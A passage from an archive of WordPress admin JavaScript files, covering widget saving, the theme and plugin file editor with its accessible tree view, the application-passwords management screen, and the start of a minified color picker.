wp.i18n.__( 'Saved' ) ); widget.removeClass( 'widget-dirty' ); // Clear the dirty flag from the widget. delete self.dirtyWidgets[ id ]; $document.trigger( 'widget-updated', [ widget ] ); if ( sidebarId === 'wp_inactive_widgets' ) { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); } } } if ( order ) { wpWidgets.saveOrder(); } }); }, removeInactiveWidgets : function() { var $element = $( '.remove-inactive-widgets' ), self = this, a, data; $( '.spinner', $element ).addClass( 'is-active' ); a = { action : 'delete-inactive-widgets', removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val() }; data = $.param( a ); $.post( ajaxurl, data, function() { $( '#wp_inactive_widgets .widget' ).each(function() { var $widget = $( this ); delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ]; $widget.remove(); }); $( '#inactive-widgets-control-remove' ).prop( 'disabled', true ); $( '.spinner', $element ).removeClass( 'is-active' ); } ); }, appendTitle : function(widget) { var title = $('input[id*="-title"]', widget).val() || ''; if ( title ) { title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '<').replace(/>/g, '>'); } $(widget).children('.widget-top').children('.widget-title').children() .children('.in-widget-title').html(title); }, close : function(widget) { widget.children('.widget-inside').slideUp('fast', function() { widget.attr( 'style', '' ) .find( '.widget-top button.widget-action' ) .attr( 'aria-expanded', 'false' ) .focus(); }); }, addWidget: function( chooser ) { var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds, sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'), sidebar = $( '#' + sidebarId ); widget = $('#available-widgets').find('.widget-in-question').clone(); widgetId = widget.attr('id'); add = widget.find( 'input.add_new' ).val(); n = widget.find( 'input.multi_number' ).val(); // Remove the cloned chooser from the widget. widget.find('.widgets-chooser').remove(); if ( 'multi' === add ) { widget.html( widget.html().replace( /<[^<>]+>/g, function(m) { return m.replace( /__i__|%i%/g, n ); }) ); widget.attr( 'id', widgetId.replace( '__i__', n ) ); n++; $( '#' + widgetId ).find('input.multi_number').val(n); } else if ( 'single' === add ) { widget.attr( 'id', 'new-' + widgetId ); $( '#' + widgetId ).hide(); } // Open the widgets container. sidebar.closest( '.widgets-holder-wrap' ) .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); sidebar.append( widget ); sidebar.sortable('refresh'); wpWidgets.save( widget, 0, 0, 1 ); // No longer "new" widget. widget.find( 'input.add_new' ).val(''); $document.trigger( 'widget-added', [ widget ] ); /* * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll. * Otherwise, scroll up to so the sidebar is in view. * * We do this by comparing the top and bottom, of the sidebar so see if they are within * the bounds of the viewport. */ viewportTop = $(window).scrollTop(); viewportBottom = viewportTop + $(window).height(); sidebarBounds = sidebar.offset(); sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight(); if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) { $( 'html, body' ).animate({ scrollTop: sidebarBounds.top - 130 }, 200 ); } window.setTimeout( function() { // Cannot use a callback in the animation above as it fires twice, // have to queue this "by hand". widget.find( '.widget-title' ).trigger('click'); // At the end of the animation, announce the widget has been added. window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' ); }, 250 ); }, closeChooser: function() { var self = this, widgetInQuestion = $( '#available-widgets .widget-in-question' ); $( '.widgets-chooser' ).slideUp( 200, function() { $( '#wpbody-content' ).append( this ); self.clearWidgetSelection(); // Move focus back to the toggle button. widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus(); }); }, clearWidgetSelection: function() { $( '#widgets-left' ).removeClass( 'chooser' ); $( '.widget-in-question' ).removeClass( 'widget-in-question' ); }, /** * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it. * * Used when a Widget gets dragged in/out of the Sidebar and never dropped. * * @param {Object} event jQuery event object. */ closeSidebar: function( event ) { this.hoveredSidebar .addClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'false' ); $( event.target ).css( 'min-height', '' ); this.hoveredSidebar = null; } }; $( function(){ wpWidgets.init(); } ); })(jQuery); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.0 * @deprecated 5.5.0 * * @type {object} */ wpWidgets.l10n = wpWidgets.l10n || { save: '', saved: '', saveAlert: '', widgetAdded: '' }; wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' ); js/theme-plugin-editor.js 0000644 00000063100 15233246127 0011405 0 ustar 00 /** * @output wp-admin/js/theme-plugin-editor.js */ /* eslint-env es2020 */ /* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1, 9, 1000] }] */ if ( ! window.wp ) { window.wp = {}; } wp.themePluginEditor = (function( $ ) { 'use strict'; var component, TreeLinks, __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf; component = { codeEditor: {}, instance: null, noticeElements: {}, dirty: false, lintErrors: [] }; /** * Initialize component. * * @since 4.9.0 * * @param {jQuery} form - Form element. * @param {Object} settings - Settings. * @param {Object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled). * @return {void} */ component.init = function init( form, settings ) { component.form = form; if ( settings ) { $.extend( component, settings ); } component.noticeTemplate = wp.template( 'wp-file-editor-notice' ); component.noticesContainer = component.form.find( '.editor-notices' ); component.submitButton = component.form.find( ':input[name=submit]' ); component.spinner = component.form.find( '.submit .spinner' ); component.form.on( 'submit', component.submit ); component.textarea = component.form.find( '#newcontent' ); component.textarea.on( 'change', component.onChange ); component.warning = $( '.file-editor-warning' ); component.docsLookUpButton = component.form.find( '#docs-lookup' ); component.docsLookUpList = component.form.find( '#docs-list' ); if ( component.warning.length > 0 ) { component.showWarning(); } if ( false !== component.codeEditor ) { /* * Defer adding notices until after DOM ready as workaround for WP Admin injecting * its own managed dismiss buttons and also to prevent the editor from showing a notice * when the file had linting errors to begin with. */ _.defer( function() { component.initCodeEditor(); } ); } $( component.initFileBrowser ); $( window ).on( 'beforeunload', function() { if ( component.dirty ) { return __( 'The changes you made will be lost if you navigate away from this page.' ); } return undefined; } ); component.docsLookUpList.on( 'change', function() { var option = $( this ).val(); if ( '' === option ) { component.docsLookUpButton.prop( 'disabled', true ); } else { component.docsLookUpButton.prop( 'disabled', false ); } } ); // Initiate saving the file when not focused in CodeMirror or when the user has syntax highlighting turned off. $( window ).on( 'keydown', function( event ) { if ( ( event.ctrlKey || event.metaKey ) && ( 's' === event.key.toLowerCase() ) && ( ! component.instance || ! component.instance.codemirror.hasFocus() ) ) { event.preventDefault(); component.form.trigger( 'submit' ); } } ); }; /** * Set up and display the warning modal. * * @since 4.9.0 * @return {void} */ component.showWarning = function() { // Get the text within the modal. var rawMessage = component.warning.find( '.file-editor-warning-message' ).text(); // Hide all the #wpwrap content from assistive technologies. $( '#wpwrap' ).attr( 'aria-hidden', 'true' ); // Detach the warning modal from its position and append it to the body. $( document.body ) .addClass( 'modal-open' ) .append( component.warning.detach() ); // Reveal the modal and set focus on the go back button. component.warning .removeClass( 'hidden' ) .find( '.file-editor-warning-go-back' ).trigger( 'focus' ); // Get the links and buttons within the modal. component.warningTabbables = component.warning.find( 'a, button' ); // Attach event handlers. component.warningTabbables.on( 'keydown', component.constrainTabbing ); component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning ); // Make screen readers announce the warning message after a short delay (necessary for some screen readers). setTimeout( function() { wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' ); }, 1000 ); }; /** * Constrain tabbing within the warning modal. * * @since 4.9.0 * @param {Object} event jQuery event object. * @return {void} */ component.constrainTabbing = function( event ) { var firstTabbable, lastTabbable; if ( 9 !== event.which ) { return; } firstTabbable = component.warningTabbables.first()[0]; lastTabbable = component.warningTabbables.last()[0]; if ( lastTabbable === event.target && ! event.shiftKey ) { firstTabbable.focus(); event.preventDefault(); } else if ( firstTabbable === event.target && event.shiftKey ) { lastTabbable.focus(); event.preventDefault(); } }; /** * Dismiss the warning modal. * * @since 4.9.0 * @return {void} */ component.dismissWarning = function() { wp.ajax.post( 'dismiss-wp-pointer', { pointer: component.themeOrPlugin + '_editor_notice' }); // Hide modal. component.warning.remove(); $( '#wpwrap' ).removeAttr( 'aria-hidden' ); $( 'body' ).removeClass( 'modal-open' ); }; /** * Callback for when a change happens. * * @since 4.9.0 * @return {void} */ component.onChange = function() { component.dirty = true; component.removeNotice( 'file_saved' ); }; /** * Submit file via Ajax. * * @since 4.9.0 * @param {jQuery.Event} event - Event. * @return {void} */ component.submit = function( event ) { var data = {}, request; event.preventDefault(); // Prevent form submission in favor of Ajax below. $.each( component.form.serializeArray(), function() { data[ this.name ] = this.value; } ); // Use value from codemirror if present. if ( component.instance ) { data.newcontent = component.instance.codemirror.getValue(); } if ( component.isSaving ) { return; } if ( component.instance && component.instance.updateErrorNotice ) { component.instance.updateErrorNotice(); } // Scroll to the line that has the error. if ( component.lintErrors.length ) { component.instance.codemirror.setCursor( component.lintErrors[0].from.line ); return; } component.isSaving = true; component.textarea.prop( 'readonly', true ); if ( component.instance ) { component.instance.codemirror.setOption( 'readOnly', true ); } component.spinner.addClass( 'is-active' ); request = wp.ajax.post( 'edit-theme-plugin-file', data ); // Remove previous save notice before saving. if ( component.lastSaveNoticeCode ) { component.removeNotice( component.lastSaveNoticeCode ); } request.done( function( response ) { component.lastSaveNoticeCode = 'file_saved'; component.addNotice({ code: component.lastSaveNoticeCode, type: 'success', message: response.message, dismissible: true }); component.dirty = false; } ); request.fail( function( response ) { var notice = $.extend( { code: 'save_error', message: __( 'An error occurred while saving your changes. Please try again. If the problem persists, you may need to manually update the file via FTP.' ) }, response, { type: 'error', dismissible: true } ); component.lastSaveNoticeCode = notice.code; component.addNotice( notice ); } ); request.always( function() { component.spinner.removeClass( 'is-active' ); component.isSaving = false; component.textarea.prop( 'readonly', false ); if ( component.instance ) { component.instance.codemirror.setOption( 'readOnly', false ); } } ); }; /** * Add notice. * * @since 4.9.0 * * @param {Object} notice - Notice. * @param {string} notice.code - Code. * @param {string} notice.type - Type. * @param {string} notice.message - Message. * @param {boolean} [notice.dismissible=false] - Dismissible. * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice. * @return {jQuery} Notice element. */ component.addNotice = function( notice ) { var noticeElement; if ( ! notice.code ) { throw new Error( 'Missing code.' ); } // Only let one notice of a given type be displayed at a time. component.removeNotice( notice.code ); noticeElement = $( component.noticeTemplate( notice ) ); noticeElement.hide(); noticeElement.find( '.notice-dismiss' ).on( 'click', function() { component.removeNotice( notice.code ); if ( notice.onDismiss ) { notice.onDismiss( notice ); } } ); wp.a11y.speak( notice.message ); component.noticesContainer.append( noticeElement ); noticeElement.slideDown( 'fast' ); component.noticeElements[ notice.code ] = noticeElement; return noticeElement; }; /** * Remove notice. * * @since 4.9.0 * * @param {string} code - Notice code. * @return {boolean} Whether a notice was removed. */ component.removeNotice = function( code ) { if ( component.noticeElements[ code ] ) { component.noticeElements[ code ].slideUp( 'fast', function() { $( this ).remove(); } ); delete component.noticeElements[ code ]; return true; } return false; }; /** * Initialize code editor. * * @since 4.9.0 * @return {void} */ component.initCodeEditor = function initCodeEditor() { var codeEditorSettings, editor; codeEditorSettings = $.extend( {}, component.codeEditor ); /** * Handle tabbing to the field before the editor. * * @since 4.9.0 * * @return {void} */ codeEditorSettings.onTabPrevious = function() { $( '#templateside' ).find( ':tabbable' ).last().trigger( 'focus' ); }; /** * Handle tabbing to the field after the editor. * * @since 4.9.0 * * @return {void} */ codeEditorSettings.onTabNext = function() { $( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().trigger( 'focus' ); }; /** * Handle change to the linting errors. * * @since 4.9.0 * * @param {Array} errors - List of linting errors. * @return {void} */ codeEditorSettings.onChangeLintingErrors = function( errors ) { component.lintErrors = errors; // Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button. if ( 0 === errors.length ) { component.submitButton.toggleClass( 'disabled', false ); } }; /** * Update error notice. * * @since 4.9.0 * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) { var noticeElement; component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 ); if ( 0 !== errorAnnotations.length ) { noticeElement = component.addNotice({ code: 'lint_errors', type: 'error', message: sprintf( /* translators: %s: Error count. */ _n( 'There is %s error which must be fixed before you can update this file.', 'There are %s errors which must be fixed before you can update this file.', errorAnnotations.length ), String( errorAnnotations.length ) ), dismissible: false }); noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() { codeEditorSettings.onChangeLintingErrors( [] ); component.removeNotice( 'lint_errors' ); } ); } else { component.removeNotice( 'lint_errors' ); } }; editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings ); editor.codemirror.on( 'change', component.onChange ); function onSaveShortcut() { component.form.trigger( 'submit' ); } editor.codemirror.setOption( 'extraKeys', { ...( editor.codemirror.getOption( 'extraKeys' ) || {} ), 'Ctrl-S': onSaveShortcut, 'Cmd-S': onSaveShortcut, } ); // Improve the editor accessibility. $( editor.codemirror.display.lineDiv ) .attr({ role: 'textbox', 'aria-multiline': 'true', 'aria-labelledby': 'theme-plugin-editor-label', 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4' }); // Focus the editor when clicking on its label. $( '#theme-plugin-editor-label' ).on( 'click', function() { editor.codemirror.focus(); }); component.instance = editor; }; /** * Initialization of the file browser's folder states. * * @since 4.9.0 * @return {void} */ component.initFileBrowser = function initFileBrowser() { var $templateside = $( '#templateside' ); // Collapse all folders. $templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false ); // Expand ancestors to the current file. $templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true ); // Find Tree elements and enhance them. $templateside.find( '[role="tree"]' ).each( function() { var treeLinks = new TreeLinks( this ); treeLinks.init(); } ); // Scroll the current file into view. $templateside.find( '.current-file:first' ).each( function() { if ( this.scrollIntoViewIfNeeded ) { this.scrollIntoViewIfNeeded(); } else { this.scrollIntoView( false ); } } ); }; /* jshint ignore:start */ /* jscs:disable */ /* eslint-disable */ /** * Creates a new TreeitemLink. * * @since 4.9.0 * @class * @private * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example} * @license W3C-20150513 */ var TreeitemLink = (function () { /** * This content is licensed according to the W3C Software License at * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document * * File: TreeitemLink.js * * Desc: Treeitem widget that implements ARIA Authoring Practices * for a tree being used as a file viewer * * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt */ /** * @constructor * * @desc * Treeitem object for representing the state and user interactions for a * treeItem widget * * @param node * An element with the role=tree attribute */ var TreeitemLink = function (node, treeObj, group) { // Check whether node is a DOM element. if (typeof node !== 'object') { return; } node.tabIndex = -1; this.tree = treeObj; this.groupTreeitem = group; this.domNode = node; this.label = node.textContent.trim(); this.stopDefaultClick = false; if (node.getAttribute('aria-label')) { this.label = node.getAttribute('aria-label').trim(); } this.isExpandable = false; this.isVisible = false; this.inGroup = false; if (group) { this.inGroup = true; } var elem = node.firstElementChild; while (elem) { if (elem.tagName.toLowerCase() == 'ul') { elem.setAttribute('role', 'group'); this.isExpandable = true; break; } elem = elem.nextElementSibling; } this.keyCode = Object.freeze({ RETURN: 13, SPACE: 32, PAGEUP: 33, PAGEDOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40 }); }; TreeitemLink.prototype.init = function () { this.domNode.tabIndex = -1; if (!this.domNode.getAttribute('role')) { this.domNode.setAttribute('role', 'treeitem'); } this.domNode.addEventListener('keydown', this.handleKeydown.bind(this)); this.domNode.addEventListener('click', this.handleClick.bind(this)); this.domNode.addEventListener('focus', this.handleFocus.bind(this)); this.domNode.addEventListener('blur', this.handleBlur.bind(this)); if (this.isExpandable) { this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this)); this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this)); } else { this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this)); this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this)); } }; TreeitemLink.prototype.isExpanded = function () { if (this.isExpandable) { return this.domNode.getAttribute('aria-expanded') === 'true'; } return false; }; /* EVENT HANDLERS */ TreeitemLink.prototype.handleKeydown = function (event) { var tgt = event.currentTarget, flag = false, _char = event.key, clickEvent; function isPrintableCharacter(str) { return str.length === 1 && str.match(/\S/); } function printableCharacter(item) { if (_char == '*') { item.tree.expandAllSiblingItems(item); flag = true; } else { if (isPrintableCharacter(_char)) { item.tree.setFocusByFirstCharacter(item, _char); flag = true; } } } this.stopDefaultClick = false; if (event.altKey || event.ctrlKey || event.metaKey) { return; } if (event.shift) { if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) { event.stopPropagation(); this.stopDefaultClick = true; } else { if (isPrintableCharacter(_char)) { printableCharacter(this); } } } else { switch (event.keyCode) { case this.keyCode.SPACE: case this.keyCode.RETURN: if (this.isExpandable) { if (this.isExpanded()) { this.tree.collapseTreeitem(this); } else { this.tree.expandTreeitem(this); } flag = true; } else { event.stopPropagation(); this.stopDefaultClick = true; } break; case this.keyCode.UP: this.tree.setFocusToPreviousItem(this); flag = true; break; case this.keyCode.DOWN: this.tree.setFocusToNextItem(this); flag = true; break; case this.keyCode.RIGHT: if (this.isExpandable) { if (this.isExpanded()) { this.tree.setFocusToNextItem(this); } else { this.tree.expandTreeitem(this); } } flag = true; break; case this.keyCode.LEFT: if (this.isExpandable && this.isExpanded()) { this.tree.collapseTreeitem(this); flag = true; } else { if (this.inGroup) { this.tree.setFocusToParentItem(this); flag = true; } } break; case this.keyCode.HOME: this.tree.setFocusToFirstItem(); flag = true; break; case this.keyCode.END: this.tree.setFocusToLastItem(); flag = true; break; default: if (isPrintableCharacter(_char)) { printableCharacter(this); } break; } } if (flag) { event.stopPropagation(); event.preventDefault(); } }; TreeitemLink.prototype.handleClick = function (event) { // Only process click events that directly happened on this treeitem. if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) { return; } if (this.isExpandable) { if (this.isExpanded()) { this.tree.collapseTreeitem(this); } else { this.tree.expandTreeitem(this); } event.stopPropagation(); } }; TreeitemLink.prototype.handleFocus = function (event) { var node = this.domNode; if (this.isExpandable) { node = node.firstElementChild; } node.classList.add('focus'); }; TreeitemLink.prototype.handleBlur = function (event) { var node = this.domNode; if (this.isExpandable) { node = node.firstElementChild; } node.classList.remove('focus'); }; TreeitemLink.prototype.handleMouseOver = function (event) { event.currentTarget.classList.add('hover'); }; TreeitemLink.prototype.handleMouseOut = function (event) { event.currentTarget.classList.remove('hover'); }; return TreeitemLink; })(); /** * Creates a new TreeLinks. * * @since 4.9.0 * @class * @private * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example} * @license W3C-20150513 */ TreeLinks = (function () { /* * This content is licensed according to the W3C Software License at * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document * * File: TreeLinks.js * * Desc: Tree widget that implements ARIA Authoring Practices * for a tree being used as a file viewer * * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt */ /* * @constructor * * @desc * Tree item object for representing the state and user interactions for a * tree widget * * @param node * An element with the role=tree attribute */ var TreeLinks = function (node) { // Check whether node is a DOM element. if (typeof node !== 'object') { return; } this.domNode = node; this.treeitems = []; this.firstChars = []; this.firstTreeitem = null; this.lastTreeitem = null; }; TreeLinks.prototype.init = function () { function findTreeitems(node, tree, group) { var elem = node.firstElementChild; var ti = group; while (elem) { if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') { ti = new TreeitemLink(elem, tree, group); ti.init(); tree.treeitems.push(ti); tree.firstChars.push(ti.label.substring(0, 1).toLowerCase()); } if (elem.firstElementChild) { findTreeitems(elem, tree, ti); } elem = elem.nextElementSibling; } } // Initialize pop up menus. if (!this.domNode.getAttribute('role')) { this.domNode.setAttribute('role', 'tree'); } findTreeitems(this.domNode, this, false); this.updateVisibleTreeitems(); this.firstTreeitem.domNode.tabIndex = 0; }; TreeLinks.prototype.setFocusToItem = function (treeitem) { for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if (ti === treeitem) { ti.domNode.tabIndex = 0; ti.domNode.focus(); } else { ti.domNode.tabIndex = -1; } } }; TreeLinks.prototype.setFocusToNextItem = function (currentItem) { var nextItem = false; for (var i = (this.treeitems.length - 1); i >= 0; i--) { var ti = this.treeitems[i]; if (ti === currentItem) { break; } if (ti.isVisible) { nextItem = ti; } } if (nextItem) { this.setFocusToItem(nextItem); } }; TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) { var prevItem = false; for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if (ti === currentItem) { break; } if (ti.isVisible) { prevItem = ti; } } if (prevItem) { this.setFocusToItem(prevItem); } }; TreeLinks.prototype.setFocusToParentItem = function (currentItem) { if (currentItem.groupTreeitem) { this.setFocusToItem(currentItem.groupTreeitem); } }; TreeLinks.prototype.setFocusToFirstItem = function () { this.setFocusToItem(this.firstTreeitem); }; TreeLinks.prototype.setFocusToLastItem = function () { this.setFocusToItem(this.lastTreeitem); }; TreeLinks.prototype.expandTreeitem = function (currentItem) { if (currentItem.isExpandable) { currentItem.domNode.setAttribute('aria-expanded', true); this.updateVisibleTreeitems(); } }; TreeLinks.prototype.expandAllSiblingItems = function (currentItem) { for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) { this.expandTreeitem(ti); } } }; TreeLinks.prototype.collapseTreeitem = function (currentItem) { var groupTreeitem = false; if (currentItem.isExpanded()) { groupTreeitem = currentItem; } else { groupTreeitem = currentItem.groupTreeitem; } if (groupTreeitem) { groupTreeitem.domNode.setAttribute('aria-expanded', false); this.updateVisibleTreeitems(); this.setFocusToItem(groupTreeitem); } }; TreeLinks.prototype.updateVisibleTreeitems = function () { this.firstTreeitem = this.treeitems[0]; for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; var parent = ti.domNode.parentNode; ti.isVisible = true; while (parent && (parent !== this.domNode)) { if (parent.getAttribute('aria-expanded') == 'false') { ti.isVisible = false; } parent = parent.parentNode; } if (ti.isVisible) { this.lastTreeitem = ti; } } }; TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) { var start, index; _char = _char.toLowerCase(); // Get start index for search based on position of currentItem. start = this.treeitems.indexOf(currentItem) + 1; if (start === this.treeitems.length) { start = 0; } // Check remaining slots in the menu. index = this.getIndexFirstChars(start, _char); // If not found in remaining slots, check from beginning. if (index === -1) { index = this.getIndexFirstChars(0, _char); } // If match was found... if (index > -1) { this.setFocusToItem(this.treeitems[index]); } }; TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) { for (var i = startIndex; i < this.firstChars.length; i++) { if (this.treeitems[i].isVisible) { if (_char === this.firstChars[i]) { return i; } } } return -1; }; return TreeLinks; })(); /* jshint ignore:end */ /* jscs:enable */ /* eslint-enable */ return component; })( jQuery ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.0 * @deprecated 5.5.0 * * @type {object} */ wp.themePluginEditor.l10n = wp.themePluginEditor.l10n || { saveAlert: '', saveError: '', lintError: { alternative: 'wp.i18n', func: function() { return { singular: '', plural: '' }; } } }; wp.themePluginEditor.l10n = window.wp.deprecateL10nObject( 'wp.themePluginEditor.l10n', wp.themePluginEditor.l10n, '5.5.0' ); js/application-passwords.js 0000644 00000014372 15233246127 0012060 0 ustar 00 /** * @output wp-admin/js/application-passwords.js */ ( function( $ ) { var $appPassSection = $( '#application-passwords-section' ), $newAppPassForm = $appPassSection.find( '.create-application-password' ), $newAppPassField = $newAppPassForm.find( '.input' ), $newAppPassButton = $newAppPassForm.find( '.button' ), $appPassTwrapper = $appPassSection.find( '.application-passwords-list-table-wrapper' ), $appPassTbody = $appPassSection.find( 'tbody' ), $appPassTrNoItems = $appPassTbody.find( '.no-items' ), $removeAllBtn = $( '#revoke-all-application-passwords' ), tmplNewAppPass = wp.template( 'new-application-password' ), tmplAppPassRow = wp.template( 'application-password-row' ), userId = $( '#user_id' ).val(); $newAppPassButton.on( 'click', function( e ) { e.preventDefault(); if ( $newAppPassButton.prop( 'aria-disabled' ) ) { return; } var name = $newAppPassField.val(); if ( 0 === name.length ) { $newAppPassField.trigger( 'focus' ); return; } clearNotices(); $newAppPassButton.prop( 'aria-disabled', true ).addClass( 'disabled' ); var request = { name: name }; /** * Filters the request data used to create a new Application Password. * * @since 5.6.0 * * @param {Object} request The request data. * @param {number} userId The id of the user the password is added for. */ request = wp.hooks.applyFilters( 'wp_application_passwords_new_password_request', request, userId ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user', method: 'POST', data: request } ).always( function() { $newAppPassButton.removeProp( 'aria-disabled' ).removeClass( 'disabled' ); } ).done( function( response ) { $newAppPassField.val( '' ); $newAppPassButton.prop( 'disabled', false ); $newAppPassForm.after( tmplNewAppPass( { name: response.name, password: response.password } ) ); $( '.new-application-password-notice' ).attr( 'tabindex', '-1' ).trigger( 'focus' ); $appPassTbody.prepend( tmplAppPassRow( response ) ); $appPassTwrapper.show(); $appPassTrNoItems.remove(); /** * Fires after an application password has been successfully created. * * @since 5.6.0 * * @param {Object} response The response data from the REST API. * @param {Object} request The request data used to create the password. */ wp.hooks.doAction( 'wp_application_passwords_created_password', response, request ); } ).fail( handleErrorResponse ); } ); $appPassTbody.on( 'click', '.delete', function( e ) { e.preventDefault(); if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke this password? This action cannot be undone.' ) ) ) { return; } var $submitButton = $( this ), $tr = $submitButton.closest( 'tr' ), uuid = $tr.data( 'uuid' ); clearNotices(); $submitButton.prop( 'disabled', true ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords/' + uuid + '?_locale=user', method: 'DELETE' } ).always( function() { $submitButton.prop( 'disabled', false ); } ).done( function( response ) { if ( response.deleted ) { if ( 0 === $tr.siblings().length ) { $appPassTwrapper.hide(); } $tr.remove(); addNotice( wp.i18n.__( 'Application password revoked.' ), 'success' ).trigger( 'focus' ); } } ).fail( handleErrorResponse ); } ); $removeAllBtn.on( 'click', function( e ) { e.preventDefault(); if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke all passwords? This action cannot be undone.' ) ) ) { return; } var $submitButton = $( this ); clearNotices(); $submitButton.prop( 'disabled', true ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user', method: 'DELETE' } ).always( function() { $submitButton.prop( 'disabled', false ); } ).done( function( response ) { if ( response.deleted ) { $appPassTbody.children().remove(); $appPassSection.children( '.new-application-password' ).remove(); $appPassTwrapper.hide(); addNotice( wp.i18n.__( 'All application passwords revoked.' ), 'success' ).trigger( 'focus' ); } } ).fail( handleErrorResponse ); } ); $appPassSection.on( 'click', '.notice-dismiss', function( e ) { e.preventDefault(); var $el = $( this ).parent(); $el.removeAttr( 'role' ); $el.fadeTo( 100, 0, function () { $el.slideUp( 100, function () { $el.remove(); $newAppPassField.trigger( 'focus' ); } ); } ); } ); $newAppPassField.on( 'keypress', function ( e ) { if ( 13 === e.which ) { e.preventDefault(); $newAppPassButton.trigger( 'click' ); } } ); // If there are no items, don't display the table yet. If there are, show it. if ( 0 === $appPassTbody.children( 'tr' ).not( $appPassTrNoItems ).length ) { $appPassTwrapper.hide(); } /** * Handles an error response from the REST API. * * @since 5.6.0 * * @param {jqXHR} xhr The XHR object from the ajax call. * @param {string} textStatus The string categorizing the ajax request's status. * @param {string} errorThrown The HTTP status error text. */ function handleErrorResponse( xhr, textStatus, errorThrown ) { var errorMessage = errorThrown; if ( xhr.responseJSON && xhr.responseJSON.message ) { errorMessage = xhr.responseJSON.message; } addNotice( errorMessage, 'error' ); } /** * Displays a message in the Application Passwords section. * * @since 5.6.0 * * @param {string} message The message to display. * @param {string} type The notice type. Either 'success' or 'error'. * @returns {jQuery} The notice element. */ function addNotice( message, type ) { var $notice = $( '<div></div>' ) .attr( 'role', 'alert' ) .attr( 'tabindex', '-1' ) .addClass( 'is-dismissible notice notice-' + type ) .append( $( '<p></p>' ).text( message ) ) .append( $( '<button></button>' ) .attr( 'type', 'button' ) .addClass( 'notice-dismiss' ) .append( $( '<span></span>' ).addClass( 'screen-reader-text' ).text( wp.i18n.__( 'Dismiss this notice.' ) ) ) ); $newAppPassForm.after( $notice ); return $notice; } /** * Clears notice messages from the Application Passwords section. * * @since 5.6.0 */ function clearNotices() { $( '.notice', $appPassSection ).remove(); } }( jQuery ) ); js/color-picker.min.js 0000644 00000006636 15233246127 0010711 0 ustar 00 /*! This file is auto-generated */ !function(i,t){var a=wp.i18n.__;i.widget("wp.wpColorPicker",{options:{defaultColor:!1,change:!1,clear:!1,hide:!0,palettes:!0,width:255,mode:"hsv",type:"full",slider:"horizontal"},_createHueOnly:function(){var e,o=this,t=o.element;t.hide(),e="hsl("+t.val()+", 100, 50)",t.iris({mode:"hsl",type:"hue",hide:!1,color:e,change:function(e,t){"function"==typeof 